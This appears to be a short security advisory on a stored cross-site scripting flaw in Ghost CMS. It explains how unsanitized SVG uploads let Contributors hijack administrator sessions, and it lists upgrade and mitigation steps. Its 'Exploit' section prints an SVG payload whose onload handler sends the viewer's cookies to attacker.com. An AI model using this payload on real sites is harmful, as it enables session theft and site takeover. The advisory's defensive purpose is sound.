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CVE-2026-105649 represents a critical security flaw residing within the Ghost content management system.
The vulnerability specifically affects versions ranging from v4.22.0 up to v6.64.0.
The core issue originates from improper input handling during media processing operations.
Specifically, SVG media thumbnails and SVG images uploaded with non-SVG file extensions are handled insecurely.
When these files are processed and stored by the application, sanitization routines are entirely omitted.
SVG files are fundamentally XML-based vector graphics capable of containing active script elements.
Because they can house embedded JavaScript code and dynamic event handlers, they require rigorous sanitization.
Without proper filtering, malicious instructions remain intact within the stored files on the server.
In standard Ghost deployments, low-privileged staff users like Contributors possess media upload privileges.
An attacker holding a Contributor role can exploit this capability to upload a specially crafted payload.
They can embed malicious JavaScript code inside an SVG file or disguise it using an alternate extension.
Because the server fails to inspect or sanitize the underlying content, it saves the file directly to storage.
The file is then hosted securely under the application’s primary domain name and origin.
When an administrator or high-privileged staff member accesses the media library or views the thumbnail, the browser parses it.
The browser interprets the embedded XML code and automatically executes the malicious JavaScript payload.
Because the code executes within the victim’s browser context, it gains access to active session cookies.
This allows unauthorized actors to compromise administrator sessions, steal tokens, or perform backend actions.
The flaw bridges the gap between low-privileged media upload capabilities and high-privilege session theft.
Resolving this vulnerability requires enforcing strict server-side sanitization across all vector formats.
Developers must ensure that content inspection occurs independently of the provided file extension strings.
Updating to version 6.65.0 introduces the necessary code patches to neutralize this stored execution vector.
Administrators should audit existing media directories for unexpected files and apply updates immediately.
DailyCVE Form:
Platform: Ghost CMS
Version: v4.22.0 to v6.64.0
Vulnerability: Stored XSS
Severity: High severity
date: October 5, 2026
Prediction: Patched in 6.65.0
What Undercode Say
Check Ghost version ghost version Upgrade Ghost CMS to patched version ghost update 6.65.0
// Secure handling check for uploaded media
const validateMediaUpload = (file) => {
if (file.mimetype === 'image/svg+xml' || file.originalname.endsWith('.svg')) {
return sanitizeSvgContent(file.buffer);
}
return file.buffer;
};
Exploit: (Educational Purposes!)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('http://attacker.com/log?cookie=' + document.cookie)">
<script>
// Exploiting un-sanitized SVG upload storage
alert('Session Hijacked via Stored XSS');
</script>
</svg>
Protection: from this CVE
Upgrade Ghost CMS to version 6.65.0 or later immediately.
Restrict media upload permissions for Contributor roles if SVG files are not strictly needed.
Implement a strict Content Security Policy to prevent script execution within uploaded media paths.
Ensure all uploaded vector graphics undergo deep content sanitization before storage.
Impact
Full compromise of staff and administrator user sessions via cross-site scripting.
Unauthorized execution of administrative commands and operations by low-privileged users.
Hosting of malicious scripts directly on the trusted primary domain of the web application.
Potential elevation of privileges leading to complete site takeover.
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Sources:
Reported By: github.com
Extra Source Hub:
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